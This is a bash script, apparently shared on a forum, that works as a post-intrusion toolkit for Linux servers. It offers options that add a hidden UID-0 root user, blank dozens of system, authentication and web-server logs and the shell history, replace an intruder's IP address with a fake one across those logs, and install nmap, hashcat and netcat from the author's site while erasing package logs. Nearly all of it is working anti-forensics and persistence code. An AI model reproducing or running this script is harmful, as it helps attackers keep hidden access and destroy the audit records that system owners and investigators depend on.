[php]#!/bin/bash
#Coded By Codeine
#Visit http://infosecforums.com For Updates
#Or If You Have Input
#
#Version: 1.2
#
#Send Any Problems To [email protected] Or Visit Site Above
#
################################################################
clear
echo "#########Overdose Shell Script############"
echo "# _____           _       ______          _   # "
echo "#|  __ \  | |   | ___ \           | |  # "
echo "#| |  \/ ___ | |_  | |_/ /___   ___ | |_ # "
echo "#| | __ / _ \| __| |      // _ \ / _ \| __|# "
echo "#| |_\ \ (_) | |_  | |\ \ (_) | (_) | |_ #"
echo "# \____/\___/ \__| \_| \_\___/ \___/ \__|#"
echo "################By Codeine################"
if [ "$(id -u)" != "0" ]; then
   echo ">You Must Run As Root<" 1>&2
   exit 1
fi
echo "Usage $0 [option]"
echo ""
echo ""
if [ "$1" == "–help"  ] || [ "$1" == "" ]; then
echo "Usage $0 [option]"
echo "–help  Displays List Of Options"
echo "–packages  Install Various Packages(Run For List)"
echo "–addroot  Add Root User"
echo "–spooflogs  Spoof Logs With Fake IP"
echo "–clearlogs  Blanks Out Logs"
echo "–support  Gather Tats To Help Support The Project"
exit
elif [ "$1" == "–addroot" ]; then
echo "[*]Enter Username: "
read rusername
useradd -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M $rusername
echo "$rusername Was Created"
echo "[*]Set Password: "
passwd $rusername
exit
elif [ "$1" == "–clearlogs" ]; then
echo "[*]Clearning Logs…"
echo "————————————"
#Clears 32 Different Logs
blanklog() {
  if [ -f ${1} ]; then
   echo ""
   echo "–[*]Cleared ${1}"
   echo "" > ${1}
   if [ -f ${1}.1 ]; then
        echo "–[*]Cleared ${1} Backup"
        echo "" > ${1}.1
   fi
  fi
}
blanklog /var/log/lastlog
blanklog /var/log/syslog
blanklog /var/log/syslog
blanklog /var/log/messages
blanklog /var/log/httpd/access_log
blanklog /var/log/httpd/access.log
blanklog /var/log/httpd/error_log
blanklog /var/log/httpd/error.log
blanklog /var/log/apache2/access_log
blanklog /var/log/apache2/access.log
blanklog /var/log/apache2/error.log
blanklog /var/log/apache2/error_log
blanklog /var/log/wtmp
blanklog /var/log/secure
blanklog /var/log/xferlog
blanklog /var/log/auth.log
blanklog /var/log/lighttpd/lighttpd.error.log
blanklog /var/log/lighttpd/lighttpd.access.log
blanklog /var/run/utmp
blanklog /var/www/logs/access_log
blanklog /var/www/logs/access.log
blanklog /var/www/logs/error_log
blanklog /var/www/logs/error.log
blanklog /var/log/apache/access_log
blanklog /var/log/apache/access.log
blanklog /var/log/apache/error_log
blanklog /var/log/apache/error.log
blanklog /var/log/yum.log
blanklog /etc/httpd/logs/access_log
blanklog /etc/httpd/logs/access.log
blanklog /etc/httpd/logs/error_log
blanklog /etc/httpd/logs/error.log
echo ""
echo "–[*]Clearing Bash History"
echo -n > ~/.bash_history
history -c
echo "————————————"
echo "[*]All Logs Cleared"
exit
elif [ "$1" == "–packages" ]; then
echo "[*]Listing Packages.."
echo "————————————"
echo ""
echo "0) Install All"
echo "1) NMAP http://nmap.org/"
echo "2) Hashcat http://hashcat.net/"
echo "3) Netcat http://netcat.sourceforge.net/"
echo "Which Would You Like To Install: "
read pinstall
if [ "$pinstall" == "0" ] || [ "$pinstall" == "1" ] || [ "$pinstall" == "2" ] || [ "$pinstall" == "3" ]; then
  function nmapinstall {
   echo "[*]Checking If Nmap Is Installed:"
   if [ -d /usr/local/share/nmap/ ]; then
        echo "[*]Nmap Is Installed. –Version"
        nmap –version
   else
        echo "[*]Nmap Is Not Installed"
        echo "[*]Nmap Installation Will Now Commence"
        wget -c http://nmap.org/dist/nmap-5.59BETA1.tar.bz2
        bzip2 -cd nmap-5.59BETA1.tar.bz2 | tar xvf –
        cd nmap-5.59BETA1
        ./configure
        make
        make install
        echo "[*]Nmap Installed. Now Cleaning Up"
        rm -r nmap-5.59BETA1
        rm nmap-5.59BETA1.tar.bz2
        if [ -f /var/log/dpkg.log ]; then
        echo "" > /var/log/dpkg.log
        if [ -f /var/log/dpkg.log.1 ]; then
        echo "" > /var/log/dpkg.log.1
        fi
        fi
   fi
  }
  function hashcatinstall {
   if [ ! -d /home/sysinstall/ ]; then
        mkdir /home/sysinstall
   fi
   if [ ! -d /home/sysinstall/hashcat/ ]; then
        cd /home/sysinstall
        wget http://infosecforums.com/uploads/hashcat.tar.gz
        tar xvfz hashcat.tar.gz
        rm hashcat.tar.gz
   else
        echo "[*]Hashcat Is Already Installed"
   fi
  }
  function netcatinstall {
   if [ ! -f /usr/local/bin/nc ]; then
        if [ ! -d /home/sysinstall/ ]; then
        mkdir /home/sysinstall
        fi
        cd /home/sysinstall
        wget http://infosecforums.com/uploads/netcat-0.7.1.tar.gz
        tar -xzf netcat-0.7.1.tar.gz
        cd netcat-0.7.1.tar.gz
        ./configure
        make
        make install
        echo "[*]Netcat Installed. Now Cleaning Up"
        rm netcat-0.7.1.tar.gz
        rm netcat-0.7.1
        if [ -f /var/log/dpkg.log ]; then
        echo "" > /var/log/dpkg.log
        if [ -f /var/log/dpkg.log.1 ]; then
        echo "" > /var/log/dpkg.log.1
        fi
        fi
   else
        echo "[*]Netcat Is Already Installed"
   fi
  }
  if [ "$pinstall" == "1" ]; then
   nmapinstall
  elif [ "$pinstall" == "2" ]; then
   hashcatinstall
  elif [ "$pinstall" == "3" ]; then
   netcatinstall
  elif [ "$pinstall" == "0" ]; then
   nmapinstall
   hashcatinstall
   netcatinstall
  fi
else
  echo "Please Enter A Valid Package Number"
  exit
fi
elif [ "$1" == "–spooflogs" ]; then
echo "[*]IP To Replace: "
read realip
echo "[*]IP To Replace With: "
read fakeip
echo ""
echo "[*]Spoofing Logs…"
echo "————————————"
spooflog() {
  if [ -f ${1} ]; then
   echo ""
   echo "–[*]Spoofed ${1}"
   sed -i "s/$realip/$fakeip/g" ${1}
   if [ -f ${1}.1 ]; then
        echo "–[*]Spoofed ${1} Backup"
        sed -i "s/$realip/$fakeip/g" ${1}.1
   fi
  fi
}
spooflog /var/log/lastlog
spooflog /var/log/syslog
spooflog /var/log/syslog
spooflog /var/log/messages
spooflog /var/log/httpd/access_log
spooflog /var/log/httpd/access.log
spooflog /var/log/httpd/error_log
spooflog /var/log/httpd/error.log
spooflog /var/log/apache2/access_log
spooflog /var/log/apache2/access.log
spooflog /var/log/apache2/error.log
spooflog /var/log/apache2/error_log
spooflog /var/log/wtmp
spooflog /var/log/secure
spooflog /var/log/xferlog
spooflog /var/log/auth.log
spooflog /var/log/lighttpd/lighttpd.error.log
spooflog /var/log/lighttpd/lighttpd.access.log
spooflog /var/run/utmp
spooflog /var/www/logs/access_log
spooflog /var/www/logs/access.log
spooflog /var/www/logs/error_log
spooflog /var/www/logs/error.log
spooflog /var/log/apache/access_log
spooflog /var/log/apache/access.log
spooflog /var/log/apache/error_log
spooflog /var/log/apache/error.log
spooflog /var/log/yum.log
spooflog /etc/httpd/logs/access_log
spooflog /etc/httpd/logs/access.log
spooflog /etc/httpd/logs/error_log
spooflog /etc/httpd/logs/error.log
echo "————————————"
echo "[*]Logs Spoofed"
elif [ "$1" == "–support" ]; then
echo "[*]If you would like to support the production of this script,"
echo "[*]Email the following stats to [email protected]"
echo "[*]Server mailer may not send which is why I ask for manual email"
echo "———–Stats I Would Like—————-"
echo "ls /usr/bin"
echo "[*]This will display installed applications, warning this will display alot of files & dirs."
echo ""
echo "ls /var/log"
echo "[*]This is the defualt location for logs."
echo "———————————————–"
echo ""
echo "[*]I would very much appreciate if you ran those list commands and sent me the results"
echo "[*]If you want to see this script develope more its a simple task to help out."
fi
##End of file: Visit http://infosecforums.com
[/php]
                                                                    

